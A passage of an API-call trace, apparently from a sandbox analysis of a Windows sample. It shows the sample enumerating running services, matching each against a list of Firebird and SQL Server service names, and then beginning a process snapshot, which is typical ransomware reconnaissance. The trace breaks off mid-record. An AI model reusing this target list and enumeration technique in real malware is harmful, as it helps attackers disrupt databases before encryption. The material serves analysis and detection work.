0x3f64870 [0283.439] EnumServicesStatusExW (in: hSCManager=0x3f64870, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0283.439] GetLastError () returned 0xea [0283.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1d10) returned 0x3240080 [0283.439] EnumServicesStatusExW (in: hSCManager=0x3f64870, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3240080, cbBufSize=0x1d10, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3240080, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0283.440] CloseServiceHandle (hSCObject=0x3f64870) returned 1 [0283.440] lstrlenW (lpString="Appinfo") returned 7 [0283.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0283.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0283.440] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0283.441] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0283.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0283.441] lstrlenW (lpString="AppXSvc") returned 7 [0283.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0283.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0283.441] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0283.441] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0283.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0283.441] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0283.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0283.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0283.441] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0283.441] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0283.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0283.441] lstrlenW (lpString="Audiosrv") returned 8 [0283.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0283.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0283.441] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0283.441] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0283.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0283.441] lstrlenW (lpString="BFE") returned 3 [0283.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0283.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0283.441] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0283.441] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0283.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0283.441] lstrlenW (lpString="BITS") returned 4 [0283.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0283.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0283.442] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0283.442] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0283.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0283.442] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0283.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0283.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0283.442] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0283.442] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0283.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0283.442] lstrlenW (lpString="CDPSvc") returned 6 [0283.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0283.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0283.442] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0283.442] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0283.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0283.442] lstrlenW (lpString="ClickToRunSvc") returned 13 [0283.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0283.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0283.442] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0283.442] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0283.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0283.442] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0283.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0283.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0283.442] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0283.442] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0283.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0283.443] lstrlenW (lpString="CryptSvc") returned 8 [0283.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0283.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0283.443] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0283.443] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0283.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0283.443] lstrlenW (lpString="DcomLaunch") returned 10 [0283.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0283.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0283.443] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0283.443] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0283.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0283.443] lstrlenW (lpString="DeviceAssociationService") returned 24 [0283.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0283.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0283.443] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0283.443] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0283.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0283.443] lstrlenW (lpString="Dhcp") returned 4 [0283.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0283.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0283.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0283.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0283.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0283.443] lstrlenW (lpString="Dnscache") returned 8 [0283.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0283.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0283.444] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0283.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0283.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0283.444] lstrlenW (lpString="DPS") returned 3 [0283.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0283.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0283.444] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0283.444] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0283.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0283.444] lstrlenW (lpString="DusmSvc") returned 7 [0283.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0283.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0283.444] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0283.444] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0283.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0283.444] lstrlenW (lpString="EventLog") returned 8 [0283.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0283.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0283.444] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0283.444] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0283.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0283.444] lstrlenW (lpString="EventSystem") returned 11 [0283.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0283.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0283.444] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0283.444] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0283.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0283.444] lstrlenW (lpString="FontCache") returned 9 [0283.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0283.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0283.444] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0283.445] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0283.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0283.445] lstrlenW (lpString="gpsvc") returned 5 [0283.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0283.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0283.445] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0283.445] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0283.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0283.445] lstrlenW (lpString="iphlpsvc") returned 8 [0283.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0283.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0283.445] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0283.445] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0283.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0283.445] lstrlenW (lpString="KeyIso") returned 6 [0283.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0283.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0283.445] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0283.445] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0283.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0283.445] lstrlenW (lpString="LanmanServer") returned 12 [0283.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0283.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0283.445] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0283.445] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0283.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0283.445] lstrlenW (lpString="LanmanWorkstation") returned 17 [0283.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0283.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0283.445] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0283.445] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0283.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0283.446] lstrlenW (lpString="lfsvc") returned 5 [0283.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0283.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0283.446] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0283.446] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0283.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0283.446] lstrlenW (lpString="lmhosts") returned 7 [0283.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0283.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0283.446] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0283.446] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0283.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0283.446] lstrlenW (lpString="LSM") returned 3 [0283.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0283.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0283.446] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0283.446] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0283.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0283.446] lstrlenW (lpString="MpsSvc") returned 6 [0283.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0283.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0283.446] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0283.446] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0283.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0283.446] lstrlenW (lpString="NcbService") returned 10 [0283.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0283.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0283.446] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0283.446] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0283.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0283.446] lstrlenW (lpString="netprofm") returned 8 [0283.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0283.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0283.447] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0283.447] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0283.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0283.447] lstrlenW (lpString="NgcSvc") returned 6 [0283.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0283.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0283.447] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0283.447] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0283.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0283.447] lstrlenW (lpString="NlaSvc") returned 6 [0283.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0283.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0283.447] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0283.447] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0283.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0283.447] lstrlenW (lpString="nsi") returned 3 [0283.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0283.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0283.447] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0283.447] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0283.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0283.447] lstrlenW (lpString="PcaSvc") returned 6 [0283.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0283.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0283.447] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0283.447] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0283.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0283.447] lstrlenW (lpString="PlugPlay") returned 8 [0283.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0283.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0283.447] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0283.448] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0283.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0283.448] lstrlenW (lpString="Power") returned 5 [0283.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0283.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0283.448] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0283.448] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0283.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0283.448] lstrlenW (lpString="ProfSvc") returned 7 [0283.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0283.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0283.448] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0283.448] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0283.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0283.448] lstrlenW (lpString="RpcEptMapper") returned 12 [0283.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0283.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0283.448] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0283.448] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0283.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0283.448] lstrlenW (lpString="RpcSs") returned 5 [0283.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0283.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0283.448] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0283.448] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0283.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0283.448] lstrlenW (lpString="SamSs") returned 5 [0283.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0283.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0283.448] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0283.448] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0283.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0283.449] lstrlenW (lpString="Schedule") returned 8 [0283.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0283.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0283.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0283.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0283.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0283.449] lstrlenW (lpString="SecurityHealthService") returned 21 [0283.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0283.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0283.509] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0283.509] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0283.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0283.509] lstrlenW (lpString="SENS") returned 4 [0283.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0283.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0283.509] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0283.509] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0283.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0283.510] lstrlenW (lpString="ShellHWDetection") returned 16 [0283.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0283.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0283.510] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0283.510] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0283.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0283.510] lstrlenW (lpString="Spooler") returned 7 [0283.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0283.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0283.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0283.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0283.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0283.510] lstrlenW (lpString="SSDPSRV") returned 7 [0283.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0283.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0283.510] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0283.510] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0283.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0283.510] lstrlenW (lpString="StateRepository") returned 15 [0283.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0283.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0283.510] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0283.510] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0283.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0283.510] lstrlenW (lpString="SysMain") returned 7 [0283.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0283.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0283.510] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0283.510] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0283.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0283.510] lstrlenW (lpString="SystemEventsBroker") returned 18 [0283.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0283.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0283.511] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0283.511] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0283.511] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3240080 | out: hHeap=0x630000) returned 1 [0283.511] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x115c [0283.516] Process32FirstW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.516] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0283.517] lstrlenW (lpString="System") returned 6 [0283.517] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0283.518] lstrlenW (lpString="smss.exe") returned 8 [0283.518] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.519] lstrlenW (lpString="csrss.exe") returned 9 [0283.519] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, 